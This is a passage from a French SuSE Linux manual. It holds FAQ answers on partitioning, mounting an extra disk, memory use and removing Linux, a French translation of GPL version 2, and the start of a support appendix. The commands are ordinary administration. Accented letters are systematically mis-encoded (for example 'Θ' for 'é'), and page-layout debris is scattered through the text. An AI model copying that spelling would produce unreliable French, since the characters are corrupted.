Si vous voulez utiliser le ``couper/coller'' en mode texte, vous devez lancer le
programme gpm . Voici la rΦgle α appliquer sous le systΦme X Window et en
mode texte : Marquer en pressant le bouton gauche de la souris et en faisant
glisser et insΘrer en utilisant le bouton central de la souris. Le bouton droit de
la souris a presque toujours une fonction particuliΦre dans les programmes.
Si votre souris ne possΦde pas de bouton central, pressez les deux boutons
simultanΘment.
Comment installer des programmes ?
Installez de prΘfΘrence avec YaST les programmes inclus sur les CD SuSE
Linux. Vous pourrez trouver de nombreux programmes (``dΘmos'') d'assez
grande taille sΘrie pay.
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*______________________
Je possΦde un programme ``seulement'' en code source. Comment l'ins-
taller ?
L'utilisation de certains programmes requiert quelques connaissances que
l'on peut acquΘrir α l'aide d'un bon livre sur Linux ~ voir http://www.
suse.de/de/produkte/buecher/. En rΘsumΘ : DΘcompresser l'archive
(avec tar xvzf name.tar.gz ), lire INSTALL ou README et suivre les ins-
tructions ~ la plupart du temps il s'agit d'un ./configure ;make ;make install .
Voir aussi les informations dΘtaillΘes sur la gestion des paquetages au para-
graphe 15.3 page 415.
Notez que nous n'offrons pas d'Assistance Technique α l'Installation pour les
programmes que vous avez compilΘs vous-mΩme.
Il me faut Firewall, IP Masquerade, un serveur de messagerie et un ser-
veur WWW. Puis-je compter sur l'Assistance Technique α l'Installation ?
Non.
L'Assistance Technique α l'Installation (voir annexe H page 557) vous aide
uniquement α mettre en route votre systΦme Linux. Pour tout ce qui sort de ce
cadre, il existe de bons livres en librairies ainsi qu'une excellente documen-
tation dans /usr/doc/packages et /usr/doc/howto/en/NET3-HOWTO.
txt.gz.
Au sujet de Masquerade, voir le paragraphe 6.7 page 201.
Mon matΘriel est-il supportΘ ?
Jetez un coup d'oeil dans la base de donnΘes CDB (angl. Component Database)
sous http://cdb.suse.de/. Un less /usr/doc/howto/en/Hardware-HOWTO.gz
peut aussi vous fournir des informations.
Comment dΘfragmenter mon disque dur ?
Linux possΦde un systΦme de fichiers intelligent. Ce systΦme de fichiers qui
ne permet pratiquement pas la fragmentation rend donc la dΘfragmentation
superflue. Veillez α ce que vos partitions ne soient pas remplies α plus de 90%
(df -h ).
J'entends souvent parler de partitionnement, de quoi s'agit-il exacte-
ment ?
On entend par partitionnement la rΘpartition du disque dur en diffΘrentes
zones. Windows a aussi une partition qui lui est propre. SuSE Linux requiert,
dans la configuration standard, 3 partitions (une partition pour les fichiers
d'amorτage, une autre pour Linux lui-mΩme et une partition de swap).
Lisez le chapitre 19 page 481 pour plus de dΘtails.
*
* 545
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*_______________________________________@
Faut-il effacer Windows pour pouvoir utiliser Linux ?
Non. Mais Linux a besoin d'espace disponible sur le disque dur.
ExΘcutez defrag sous Windows et invoquez le programme fips dans le rΘ-
pertoire \dosutils\fips\fips20 sur le premier CD SuSE Linux. Ce pro-
gramme vous permet de rΘduire la taille de la partition Windows afin de
faire de la place pour Linux. Sauvegardez auparavant vos donnΘes et lisez le
Readme de fips ! Voir aussi le guide dΘtaillΘ d'installation au paragraphe 1.5
page 28.
Quelle quantitΘ d'espace faut-il pour Linux ?
└ partir de 380 Mo environ vous Ωtes dans le jeu. Mais il est quand mΩme
recommandable d'avoir environ 1 Go. Si vous avez l'intention de tout installer
il vous faut plus de 6 Go.
Je n'ai pas assez de place pour Linux, comment ajouter un disque dur
supplΘmentaire ?
Vous pouvez α tout moment, sous un systΦme Linux, intΘgrer des disques
durs ou des partitions libres de disques durs afin d'avoir plus de place α votre
disposition. S'il vous faut plus de place, par exemple dans /opt, vous pouvez
y monter (angl. mount) une partition supplΘmentaire. ProcΘdez de la faτon
suivante :
1. Ajoutez le disque dur et dΘmarrez Linux.
2. Connectez-vous en tant qu'utilisateur `root'.
3. Partitionnez avec fdisk par exemple en tant que /dev/hdb1
4. Formatez la partition avec mke2fs /dev/hdb1
5. Entrez les commandes suivantes :
terre: # cd /opt
terre:/opt # mkdir /opt2
terre:/opt # mount /dev/hdb1 /opt2
terre:/opt # cp -axv . /opt2
VΘrifiez toutefois soigneusement si vos donnΘes ont toutes ΘtΘ copiΘes.
Vous pourrez ensuite ``dΘplacer'' l'ancien rΘpertoire et crΘer un nouveau
+ point de montage vide :
terre:/opt # mv /opt /opt.old
terre:/opt # mkdir /opt
Ajoutez maintenant, avec un + Θditeur, la nouvelle partition dans le fichier
/etc/fstab. Ceci pourrait se prΘsenter comme dans le fichier F.0.1.
________________________________________________________________________________________________________*
*________
|/dev/hdb1 /opt ext2 defaults 1 2 *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier F.0.1: Extrait de /etc/fstab : Partition supplΘmentaire
Vous devriez maintenant arrΩter votre machine et rΘamorcer.
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6. Lorsque votre machine a ΘtΘ rΘamorcΘe, assurez-vous, α l'aide de la com-
mande mount que /dev/hdb1 a vraiment ΘtΘ rattachΘ sous /opt. Si tout
a fonctionnΘ comme prΘvu, vous pouvez maintenant effacer les anciennes
donnΘes sous /opt.old :
terre: # cd /
terre:/ # rm -fr opt.old
J'ai dΘjα compilΘ un noyau. Comment est-il possible d'installer mainte-
nant le noyau SuSE original ?
ProcΘdez de la maniΦre dΘcrite au paragraphe 3.6.2 page 103 du manuel.
Ma machine s'est plantΘe. Puis-je appuyer sur le bouton de remise α zΘro
sans courir de risque ?
Si votre machine ne rΘagit plus aux clics de souris ou aux entrΘes clavier,
cela ne signifie pas qu'elle est totalement plantΘe. Il peut arriver qu'un seul
programme provoque un blocage de la souris et du clavier alors que tous
les autres programmes continuent α tourner. Si votre machine est accessible
de l'extΘrieur (terminal sΘrie, rΘseau), vous pouvez encore vous connecter et
terminer le programme responsable avec killall <nom_du_programme>_ ____ __._
Si vous n'avez pas cette possibilitΘ, essayez, avec |______C|trl+ |____A|lt+ |___F|2, de
passer sur une autre console pour y tuer le processus gΩnant. Si aucune touche
ne provoque une rΘaction de la machine, attendez au moins 10 secondes sans
aucun accΦs au disque avant d'actionner bouton de remise α zΘro.
Pourquoi Linux consomme-t-il toute ma mΘmoire ?
Jetons un coup d'oeil sur une sortie de free -t :
total used free shared buffers cached
Mem: 127800 94312 33488 11196 22324 46104
-/+ buffers/cache: 25884 101916
Swap: 136544 832 135712
Total: 264344 95144 169200
Il semble qu'il n'y aurait que 33488 Ko de mΘmoire disponible (Mem/free). Il
s'agit toutefois de mΘmoire ``inutilisΘe''. Toute la mΘmoire RAM qui n'est pas
utilisΘe par les programmes sert de cache disque, ici 46104 Ko (Mem/cached).
L'entrΘe shared dΘsigne une mΘmoire utilisΘe en commun par plusieurs pro-
grammes et bibliothΦques (ici 11196 Ko).
La mΘmoire disponible est la valeur indiquΘe dans -/+ buffers/cache et
free , donc ici 101916 Ko. Virtuellement, il y a encore environ 165 Mo de
mΘmoire disponible.
Qu'est-ce qu'un miroir ? Pourquoi ne pas tout rΘcupΘrer depuis ftp.
suse.com ?
Comme de nombreux utilisateurs ont besoin au mΩme moment du serveur,
celui-ci serait trΦs vite surchargΘ. Pour cette raison, il existe tout un tas
d'autres serveurs FTP qui incluent une ``copie exacte'' du serveur SuSE . De
*
* 547
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*_______________________________________@
tels serveurs sont appelΘs ``miroirs''. On devrait toujours se diriger vers un
miroir qui se trouve α proximitΘ (c'est-α-dire dans le mΩme pays) car le tΘ-
lΘchargement est alors plus rapide. Vous trouverez une liste des miroirs par
exemple sous http://www.suse.de/en/support/download/ftp/.
Quel genre de rΘpertoires sont /var, /etc, /bin etc. ?
Comme tout autre systΦme Unix, Linux possΦde un systΦme de fichiers dont
de trΦs grandes parties sont uniformes. Ces rΘpertoires ne doivent pas Ωtre
effacΘs ou dΘplacΘs. En tant qu'utilisateur, vous devriez travailler uniquement
dans /home/tux (remplacez `tux' par votre nom d'utilisateur). Pour plus
d'informations sur le systΦme de rΘpertoires, voyez l'annexe D page 531.
Comment afficher, Θditer, dΘplacer, copier, effacer des fichiers ?
Si vous voulez effectuer ces opΘration avec les ``programmes maison'' Li-
nux, vous trouverez des explications au chapitre 19 page 481. Vous pouvez
cependant travailler aussi sur la console texte avec le programme Midnight
Commander (mc ) (clone d'un outil DOS/Windows bien connu)._Vous_devez__
pour cela ouvrir un terminal dans l'interface graphique (|A____l|t+ |F___|2et ensuite
xterm ) et entrer mc dans ce terminal.
Comment lire mes fichiers DOS ?
Voir le paragraphe 19.12 page 501 du manuel.
Je ne trouve pas de fichiers .exe. O∙ sont tous les programmes ?
Sous Linux, les noms de fichiers exΘcutables n'ont normalement pas d'ex-
tension. La majeure partie des programmes se trouve dans /usr/bin et
/usr/X11R6/bin.
└ quoi reconnaεt-on les fichiers exΘcutables ?
Avec la commande ls -l /usr/bin par exemple, vous voyez tous les fi-
chiers exΘcutables du rΘpertoire /usr/bin indiquΘs en rouge. Vous pou-
vez aussi les reconnaεtre au `x' dans la premiΦre colonne (voir le para-
graphe sec :u.datei.info du manuel).
-rwxr-xr-x 1 root root 64412 Jul 23 15:23 /usr/bin/ftp
Dans le gestionnaire de fichiers de KDE (kfm ), vous pouvez reconnaεtre un
fichier exΘcutable au symbole en forme de roue dentΘe.
Je voudrais supprimer Linux, comment faire ?
Effacez la partition Linux avec fdisk . Il vous faudra Θventuellement invoquer
fdisk sous Linux, par exemple en passant par le systΦme de secours (voir pa-
ragraphe 16.5 page 438). Ensuite vous devrez amorcer α partir de la disquette
MS-DOS et exΘcuter la commande fdisk /mbr sous DOS ou Windows.
548
Annexe G
Licence Publique GΘnΘrale GNU
(GPL)
La prΘsente traduction ne peut en aucun cas remplacer au sens juridique le
texte original de la GPL. Il ne s'agit pas d'une version franτaise approuvΘe
par la FSF mais d'une traduction inofficielle de la GPL.
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave,
Cambridge, MA 02139, USA
Chacun est autorisΘ α reproduire ce document et α en distribuer des copies
conformes mais aucune modification n'est admise.
PR╔AMBULE
Les licences concernant la majeure partie des logiciels ont pour but de suppri-
mer toute libertΘ de les partager et de les modifier. La Licence Publique GΘ-
nΘrale GNU, au contraire, a ΘtΘ conτue pour vous assurer le droit de partager
et de modifier les logiciels libres et pour garantir leur libre accΦs α tout utilisa-
teur. La Licence Publique GΘnΘrale s'applique α la majoritΘ des logiciels de la
Free Software Foundation et α tous les autres programmes que leurs auteurs
ont dΘcidΘ de soumettre aux termes de cette Licence. (D'autres logiciels de la
Free Software Foundation sont couverts, α la place, par la Licence Publique
GΘnΘrale des BibliothΦques GNU). Vous pouvez aussi appliquer les termes de
la prΘsente Licence α vos propres programmes.
Lorsque nous parlons de ``free software'', nous entendons logiciels libres et
non pas gratuits. Notre Licence Publique GΘnΘrale a ΘtΘ conτue pour vous
assurer la libertΘ de distribuer des copies de logiciels libres (en facturant
ce service si vous le souhaitez), de recevoir le code source ou de pouvoir
l'obtenir si vous le dΘsirez, de modifier les programmes ou d'en utiliser des
ΘlΘments dans de nouveaux logiciels libres en sachant que vous Ωtes autorisΘ
α le faire.
Afin de prΘserver vos droits, nous avons d√ stipuler des restrictions qui inter-
disent α quiconque de vous dΘnier ces droits ou de vous demander d'y renon-
cer. Ces restrictions entraεnent Θgalement pour vous certaines obligations si
vous distribuez des copies de programmes ou si vous les modifiez.
*
* 549
G. Licence Publique_GΘnΘrale_GNU_(GPL)____________________________________________________________________________________________*
*_______________________________________@
Si vous distribuez par exemple des copies de tels programmes, gratuitement
ou contre rΘmunΘration, vous Ωtes tenu de transmettre aux bΘnΘficiaires tous
les droits que vous avez vous-mΩme. Vous devez aussi vous assurer qu'ils
reτoivent ou peuvent obtenir le code source. Et vous devez leur faire prendre
connaissance des termes de la prΘsente Licence afin qu'ils soient au courant
de leurs droits.
Nous protΘgeons vos droits par deux mesures : (1) en plaτant le logiciel
sous copyright et (2) en vous offrant la prΘsente Licence qui vous autorise
lΘgalement α copier, distribuer et/ou α modifier le logiciel.
En outre, pour la protection des auteurs et la n⌠tre, nous voulons Ωtre certains
que chacun comprenne qu'il n'existe aucune garantie pour ces logiciels libres.
Si le logiciel est modifiΘ par un tiers et redistribuΘ ensuite, nous tenons α ce
que les utilisateurs qui le reτoivent sachent qu'ils ne sont pas en prΘsence de
l'original afin que des erreurs introduites par un tiers ne puissent pas nuire α
la rΘputation de l'auteur.
Enfin, tout logiciel libre est constamment menacΘ par des dΘp⌠ts de bre-
vets. Nous voulons exclure le risque que les distributeurs d'un logiciel libre
puissent obtenir individuellement des licences de brevets rendant ainsi le pro-
gramme propriΘtaire. Pour prΘvenir ce risque, nous avons clairement stipulΘ
que toute licence de brevet doit prΘvoir une libre utilisation par tous ou qu'il
ne doit pas exister du tout de licence.
Les conditions prΘcises pour la copie, la distribution et la modification sont
les suivantes :
GNU GENERAL PUBLIC LICENSE
TERMES ET CONDITIONS POUR LA COPIE, LA DISTRIBUTION
ET LA MODIFICATION
0. La prΘsente Licence s'applique α tout programme ou autre ouvrage conte-
nant une mention, apposΘe par le dΘtenteur du copyright, prΘcisant qu'il peut
Ωtre distribuΘ sous les termes de la Licence Publique GΘnΘrale. Le mot ``Pro-
gramme'' est employΘ, dans la suite du prΘsent document, pour dΘsigner un
tel programme ou un tel ouvrage. L'expression ``ouvrage basΘ sur le Program-
me'' dΘsigne soit le Programme lui-mΩme, soit tout ouvrage qui en est dΘrivΘ
au sens dΘfini par la lΘgislation sur les droits d'auteurs, α savoir : un ouvrage
contenant le Programme ou une partie de celui-ci, soit sous forme inaltΘrΘe,
soit avec des modifications et/ou traduit dans une autre langue. (Dans la suite
de ce document, le terme ``traduction'' sera donc couvert sans aucune restric-
tion par le terme ``modification''). Tout bΘnΘficiaire de la prΘsente Licence est
dΘsignΘ par ``Vous''.
Les activitΘs autres que la copie, la distribution et la modification ne sont pas
couvertes par la prΘsente Licence, elles dΘpassent le cadre de son application.
La mise en oeuvre du Programme n'est soumise α aucune restriction et les
donnΘes rΘsultant de l'exΘcution du Programme ne sont couvertes que si leur
contenu reprΘsente un ouvrage basΘ sur le Programme (indΘpendamment du
fait qu'elles rΘsultent de l'exΘcution du Programme). Qu'il s'agisse ou non
d'un tel ouvrage dΘpend des fonctions du Programme.
550
_________________________________________________________________G.__Licence_Publique_GΘnΘrale_GNU_(GPL)____________________*
*______________________
1. Vous Ωtes autorisΘ α faire et α distribuer, sur n'importe quel support, des
copies exactes du code source du Programme tel que vous l'avez reτu α condi-
tion de faire figurer clairement sur chaque copie une mention appropriΘe de
copyright et d'exclusion de toute garantie. Laissez inchangΘes toutes les men-
tions se rΘfΘrant α la prΘsente Licence et α l'absence de garantie et fournissez,
conjointement au Programme, un exemplaire de la prΘsente Licence α tout
utilisateur qui le reτoit.
Vous pouvez demandez une rΘmunΘration pour la rΘalisation de la copie et
vous Ωtes libre d'accorder vous-mΩme une garantie en Θchange d'une rΘmu-
nΘration.
2. Vous Ωtes autorisΘ α modifier votre copie ou vos copies du Programme
ou partie de celui-ci crΘant ainsi un ouvrage basΘ sur le Programme et vous
pouvez copier et distribuer de telles versions modifiΘes ou ouvrages selon
les termes de l'article 1 sous rΘserve que les conditions ci-dessous soient
Θgalement remplies :
a) Vous devez faire en sorte que les fichiers modifiΘs soient pourvus de men-
tions bien visibles indiquant que vous les avez modifiΘs et prΘcisant la
date de chaque modification.
b) Vous devez faire en sorte que chaque ouvrage distribuΘ ou publiΘ par vos
soins et qui contient, soit dans son ensemble soit dans ses ΘlΘments, le
Programme ou des parties du Programme, ou qui est dΘrivΘ du Programme
ou parties du Programme, soit fourni comme un ensemble α toute tierce
personne sans facturation de taxe sous les termes de la prΘsente Licence.
c) Si le Programme lit normalement des commandes de faτon interactive au
cours de son exΘcution, vous devez faire en sorte que lorsqu'il est lancΘ de
la maniΦre habituelle pour une utilisation interactive, il affiche ou imprime
un message contenant une mention appropriΘe de copyright et d'exclusion
de garantie (ou l'indication que vous fournissez vous-mΩme une garan-
tie). Le message doit en outre faire savoir aux utilisateurs qu'ils peuvent
redistribuer le Programme dans les mΩme conditions et leur indiquer de
quelle maniΦre ils peuvent visualiser une copie de la prΘsente Licence.
(Exception : Si le Programme est lui-mΩme interactif mais n'Θmet pas
normalement un tel message, votre ouvrage basΘ sur le Programme n'est
pas non plus tenu de l'Θmettre).
Ces exigences s'appliquent α l'ouvrage modifiΘ pris dans son ensemble. Si
des parties identifiables de cet ouvrage ne sont pas dΘrivΘes du Programme
et peuvent raisonnablement Ωtre considΘrΘes comme Θtant par elles-mΩmes
des ouvrages indΘpendants et distincts, la prΘsente Licence et ses termes ne
s'appliquent pas α ces ΘlΘments lorsque vous les distribuez sΘparΘment. Mais
si vous distribuez ces mΩmes ΘlΘments comme parties d'un ensemble reprΘ-
sentΘ par un ouvrage basΘ sur le Programme, la distribution de l'ensemble est
soumise aux termes de la prΘsente Licence qui Θtend les droits des autres per-
sonnes concenΘes par la Licence α la totalitΘ de l'ensemble et par consΘquent
α chacun de ses ΘlΘments quel qu'en soit l'auteur.
Le prΘsent article n'a donc pas pour but de revendiquer ni de contester vos
droits sur un ouvrage que vous avez entiΦrement Θcrit vous-mΩme. Son inten-
*
* 551
G. Licence Publique_GΘnΘrale_GNU_(GPL)____________________________________________________________________________________________*
*_______________________________________@
tion est bien plus de garantir un droit de contr⌠le sur tout ouvrage dΘrivΘ ou
ouvrage collectif basΘ sur le Programme.
En outre, la simple rΘunion d'un autre ouvrage, non basΘ sur le Programme,
avec le Programme ou α un ouvrage dΘrivΘ de celui-ci sur un support de
stockage ou de distribution ne soumet pas l'autre ouvrage aux termes de la
prΘsente Licence.
3. Vous Ωtes autorisΘ α copier et α distribuer le Programme (ou un ouvrage
basΘ sur celui-ci selon la dΘfinition donnΘe par l'article 2) sous forme de code
objet ou de code exΘcutable α condition de fournir l'un des services suivants :
a) Joindre au Programme son code source complet sous une forme lisible
par ordinateur et, selon les termes des articles 1 et 2, sur un support
couramment utilisΘ pour l'Θchange de logiciels ; ou
b) Joindre au Programme une offre Θcrite, valable pendant au moins trois
ans, par laquelle vous vous engagez α fournir α toute tierce personne, pour
une rΘmunΘration n'excΘdant pas vos frais de duplication et de distribution
une copie du code source complet sous une forme lisible par ordinateur
et, selon les termes des articles 1 et 2, sur un support couramment utilisΘ
pour l'Θchange de logiciels ; ou
c) Joindre au Programme l'information que vous avez vous-mΩme reτue
concernant l'offre de distribution du code source correspondant. (Cette
alternative n'est autorisΘe que pour une distribution non commerciale et
seulement si vous avez reτu le Programme sous forme de code objet ou
de code exΘcutable avec l'offre prΘvue par l'alinΘa b) du prΘsent article).
Par code source d'un ouvrage, on entend la forme de cet ouvrage de prΘfΘ-
rence utilisΘe pour y apporter des modifications. Pour un programme, le code
source complet est le code source de tous les modules qui le composent au-
quel s'ajoute tout fichier de dΘfinition d'interface associΘ ainsi que les scripts
utilisΘs pour le contr⌠le de la compilation et l'installation de l'exΘcutable. Il
existe cependant une exception particuliΦre : il n'est pas nΘcessaire qu'il soit
inclus dans le code source fourni tout ce qui est normalement distribuΘ (soit
sous forme de source soit sous forme binaire) avec les composantes princi-
pales (compilateur, noyau etc.) du systΦme d'exploitation sur lequel l'exΘ-
cutable est mis en oeuvre, α moins que cette composante n'accompagne le
programme exΘcutable.
Si la distribution d'un programme exΘcutable ou du code objet consiste α
offrir un accΦs permettant d'effectuer une copie depuis un endroit dΘterminΘ,
l'offre d'un accΦs Θquivalent permettant de copier le code source α partir du
mΩme endroit est considΘrΘe comme une distribution du code source bien que
les tierces personnes ne soient pas tenues de copier le code source avec le
code objet.
4. Vous n'Ωtes pas autorisΘ α copier, modifier, concΘder en sous-licence ou
distribuer le Programme d'une autre maniΦre que celle expressΘment prescrite
par la prΘsente Licence. Toute tentative de copier, modifier, concΘder en sous-
licence ou distribuer le Programme sous d'autres conditions est entachΘe de
nullitΘ et entraεne automatiquement la perte des droits qui vous sont accordΘs
par la prΘsente Licence. Cependant les tiers auxquels vous avez transmis des
552
_________________________________________________________________G.__Licence_Publique_GΘnΘrale_GNU_(GPL)____________________*
*______________________
copies ou des droits au titre de la prΘsente Licence ne subiront pas la perte
de leurs droits tant qu'ils continueront α se comporter de faτon absolument
conforme aux termes de la Licence.
5. Vous n'Ωtes pas tenu d'accepter la prΘsente Licence puisque vous ne l'avez
pas signΘe. Il n'existe cependant rien d'autre qui vous autorise α modifier ou
α distribuer le Programme ou les ouvrages qui en sont dΘrivΘs. Ces actions
sont interdites par la loi si vous n'acceptez pas la Licence. En consΘquence,
toute modification ou distribution du Programme (ou d'un ouvrage basΘ sur
le Programme) constitue une acceptation implicite de la prΘsente Licence et
de tous ses termes et conditions concernant la copie, la distribution ou la
modification du Programme ou d'ouvrages basΘs sur celui-ci.
6. Chaque fois que vous redistribuez le Programme (ou tout ouvrage basΘ sur
le Programme), le bΘnΘficiaire reτoit automatiquement du dΘtenteur initial de
licence l'autorisation de copier, distribuer et modifier le Programme confor-
mΘments aux termes et conditions de la prΘsente Licence. Vous n'avez pas
le droit d'imposer des restrictions supplΘmentaires α l'exercice des droits que
vous transmettez au bΘnΘficiaire. Vous n'avez pas la responsabilitΘ d'imposer
α des tiers de se conformer α la prΘsente Licence.
7. Si par suite d'un jugement de tribunal, d'une allΘgation de violation de bre-
vet ou pour toute autre raison (ne se limitant pas aux questions des brevets) il
vous est imposΘ (par ordonnance judiciaire, accord ou autre) des conditions
incompatibles avec les conditions de la prΘsente Licence, cette circonstance
ne vous exempte pas de respecter les termes de la Licence. S'il ne vous est
pas possible de distribuer le Programme en conciliant vos obligations envers
la prΘsente Licence avec vos autres obligations, vous n'Ωtes pas autorisΘ α le
distribuer. Si par exemple une licence de brevet n'autorisait pas une redistri-
bution sans redevance du Programme par tous ceux qui en ont reτu des copies
par votre intermΘdiaire directe ou indirecte, le seul moyen qui vous permet-
trait de satisfaire aussi bien les exigences de cette licence de brevet que celles
de la prΘsente Licence serait de vous abstenir purement et simplement de dis-
tribuer le Programme.
Si une partie de cet article devait s'avΘrer nulle ou inapplicable dans certaines
circonstances particuliΦres, le reste de l'article n'en demeure pas moins appli-
cable et l'article devra s'appliquer dans son ensemble en toute autre circons-
tance.
Le but de ce prΘsent article n'est pas de vous inciter α enfreindre la loi sur les
brevets, ni α porter atteinte α tout autre droit de propriΘtΘ ou α contester la va-
liditΘ de tels droits. Son seul objectif est de protΘger l'intΘgritΘ du systΦme de
distribution des logiciels libres rΘalisΘ par la pratique des licences publiques.
De nombreuses personnes ont apportΘ une gΘnΘreuse contribution α la large
gamme de logiciels distribuΘs par ce systΦme en comptant sur une applica-
tion consΘquente du systΦme. Il appartient α l'auteur/donateur de dΘcider s'il
prΘfΦre distribuer ses logiciels par l'intermΘdiaire d'un autre systΦme ; aucun
bΘnΘficiaire de licence ne peut lui imposer un choix.
L'intention du prΘsent article est de rendre parfaitement clair ce qui est consi-
dΘrΘ comme une consΘquence du reste de la prΘsente Licence.
*
* 553
G. Licence Publique_GΘnΘrale_GNU_(GPL)____________________________________________________________________________________________*
*_______________________________________@
8. Si la distribution et/ou l'utilisation du Programme est restreinte dans cer-
tains pays, soit par des brevets soit par des droits d'auteurs sur des interfaces,
le titulaire du copyright original qui place le Programme sous la prΘsente Li-
cence peut prΘvoir une limitation gΘographique explicite de la distribution
excluant ces pays, de telle sorte que la distribution ne soit autorisΘe que dans
les pays ou entre les pays qui ne sont pas exclus. Dans un tel cas, la prΘsente
Licence inclut cette limitation au mΩme titre que si elle Θtait Θcrite dans le
corps de la prΘsente Licence.
9. La Free Software Foundation peut publier pΘriodiquement des versions rΘ-
visΘes et/ou de nouvelles versions de la Licence Publique GΘnΘrale. Ces nou-
velles versions seront Θcrites dans le mΩme esprit mais pourront diffΘrer dans
certains dΘtails afin de tenir compte de nouveaux problΦmes ou de nouvelles
situations.
Il est attribuΘ α chaque version un numΘro bien distinct. Si le Programme
prΘcise qu'il est soumis α une version dΘterminΘe et α ``toute version ultΘrieu-
re'' de la prΘsente Licence vous pouvez choisir de vous conformer termes et
conditions soit de cette version, soit de toute version publiΘe ultΘrieurement
par la Free Software Foundation. Si le Programme ne prΘcise aucun numΘro
de version de la prΘsente Licence, vous pouvez choisir n'importe quelle ver-
sion publiΘe par la Free Software Foundation.
10. Si vous souhaitez intΘgrer des ΘlΘments du Programme dans d'autres pro-
grammes libres dont les conditions de distribution sont diffΘrentes, Θcrivez
α l'auteur pour lui en demander l'autorisation. Pour les logiciels dont le co-
pyright est dΘtenu par la Free Software Foundation, Θcrivez α la Free Soft-
ware Foundation ; nous faisons quelquefois des exceptions. Notre dΘcision
sera guidΘe par le double objectif de prΘserver le statut libre de tous les dΘri-
vΘs de nos logiciels libres et de promouvoir le partage et la rΘutilisation des
logiciels en gΘnΘral.
ABSENCE DE GARANTIE
11. La Licence du Programme Θtant concΘdΘe gratuitement, il n'existe
aucune garantie pour le Programme dans les limites permises par la
loi en vigueur. Sauf s'il en a ΘtΘ convenu autrement par Θcrit, les dΘ-
tenteurs de copyright et/ou les autres parties concernΘes fournissent le
Programme ``tel quel'', sans aucune forme de garantie ni explicite ni im-
plicite ; y compris, mais de faτon non limitative, les garanties implicites
de qualitΘ marchande ou d'adΘquation α un usage particulier. C'est α
vous qu'incombent tous les risques liΘs α la qualitΘ et α la performance
du Programme. Si le Programme se rΘvΘlait dΘfectueux, vous assumerez
les co√ts de tous les services, rΘparations et corrections nΘcessaires.
12. En aucun cas, sauf si la loi en vigueur le prescrit ou s'il en est convenu
par Θcrit, un dΘtenteur de copyright ou un tiers autorisΘ α modifier et/ou
α distribuer le Programme conformΘment aux conditions ΘnoncΘes ci-
dessus ne sera responsable α votre Θgard des dommages que vous pour-
riez subir, y compris tout dommage gΘnΘral, spΘcial, accidentel ou dΘ-
coulant de l'utilisation du Programme ou de l'impossibilitΘ de l'utiliser
(y compris, mais de faτon non limitative, la perte ou le traitement inadΘ-
quat de donnΘes, les prΘjudices subis par vous ou par des tiers ou l'im-
554
_________________________________________________________________G.__Licence_Publique_GΘnΘrale_GNU_(GPL)____________________*
*______________________
possibilitΘ de mise en oeuvre du Programme conjointement α tout autre
programme) mΩme si le dΘtenteur du copyright ou le tiers concernΘ a ΘtΘ
informΘ de la possibilitΘ de tels dommages.
FIN DES TERMES ET CONDITIONS
Annexe : Comment appliquer ces termes α vos nouveaux programmes ?
Si vous dΘveloppez un nouveau programme et si vous souhaitez qu'il soit uti-
lisΘ le plus possible par le public, le meilleur moyen d'y parvenir est d'en faire
un logiciel libre que chacun pourra redistribuer et modifier conformΘment aux
termes de la prΘsente Licence.
Pour cela, joignez α votre programme les indications suivantes. Il est plus
s√r de les faire figurer au dΘbut de chaque fichier source afin que la mention
d'exclusion de toute garantie soit bien visible. Chaque fichier devrait en outre
contenir au moins une ligne de ``copyright'' et indiquer o∙ se trouve la notice
complΦte.
ffiUne ligne contenant le nom du programme et une brΦve description de ses
fonctions fflCopyright (C) 19yy ffiNom de l'auteur ffl
Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le mo-
difier conformΘment aux dispositions de la Licence Publique GΘnΘrale GNU
telle qu'elle a ΘtΘ publiΘe par la Free Software Foundation ; version 2 de la
Licence ou (α votre choix) toute version ultΘrieure.
Ce programme est distribuΘ dans l'espoir qu'il sera utile, mais SANS AU-
CUNE GARANTIE ; sans mΩme la garantie implicite de QUALIT╔ MAR-
CHANDE OU D'AD╔QUATION └ UN USAGE PARTICULIER. Voir la Li-
cence Publique GΘnΘrale pour plus de dΘtails.
Vous devriez avoir reτu un exemplaire de la Licence Publique GΘnΘrale GNU
conjointement α ce programme ; si ce n'est pas le cas, Θcrivez α la Free
Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
Ajoutez les informations permettant de vous contacter par courrier Θlectro-
nique ou courrier postal.
Si votre programme est interactif, faites en sorte qu'il Θmette un court mes-
sage comme celui-ci lors de son lancement en mode interactif :
Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision
comes with ABSOLUTELY NO WARRANTY ; for details type `show w'. This
is free software, and you are welcome to redistribute it under certain condi-
tions ; type `show c' for details.
Les commandes hypothΘtiques `show w' et `show c' devraient afficher les
parties appropriΘes de la Licence Publique GΘnΘrale. Les commandes que
vous utilisez peuvent bien s√r avoir un tout autre nom que `show w' et `show
c'. Elles peuvent aussi Ωtre accessibles par un clic de souris ou correspondre
α des options de menus - selon ce qui convient α votre programme.
Vous devrez aussi demander α votre employeur (si vous travaillez comme
programmeur) ou le cas ΘchΘant α votre Θtablissement scolaire de signer,
si nΘcessaire, une dΘclaration de renonciation aux droits d'auteur. Voici un
exemple que vous pouvez prendre en changeant les noms :
*
* 555
G. Licence Publique_GΘnΘrale_GNU_(GPL)____________________________________________________________________________________________*
*_______________________________________@
Yoyodyne, Inc. dΘclare par la prΘsente renoncer α tous droits d'auteur sur le
programme `Gnomovision' (qui fait des passages au niveau des compilateurs)
Θcrit par James Hacker.
ffisignature de Ty Coon ffl, 1er avril 1989 Ty Coon, President of Vice
La Licence Publique GΘnΘrale ne vous permet pas d'inclure votre programme
dans des programmes propriΘtaires. Si votre programme est une fonction de
bibliothΦque, il pourra vous sembler plus judicieux d'autoriser des Θditions
de liens des applications propriΘtaires avec cette bibliothΦque. Si c'est ce
que vous souhaitez, utilisez la Licence Publique GΘnΘrale pour BibliothΦques
GNU au lieu de la prΘsente Licence.
556
Annexe H
Assistance Technique et services
Au cours de ces derniΦres annΘes, nous avons constatΘ qu'en dΘpit du haut
niveau de dΘveloppement atteint par Linux, il pouvait toujours survenir - bien
que de plus en plus rarement - certains problΦmes lors de l'installation. Nous
avons rΘdigΘ le prΘsent manuel en tenant compte de nos expΘriences afin
de vous Θpargner, cher lecteur, un weekend passΘ α attendre nerveusement
de pouvoir contacter, le lundi aprΦs-midi, la ligne de dΘpannage qui vous
permettra de poursuivre l'installation de votre systΦme.
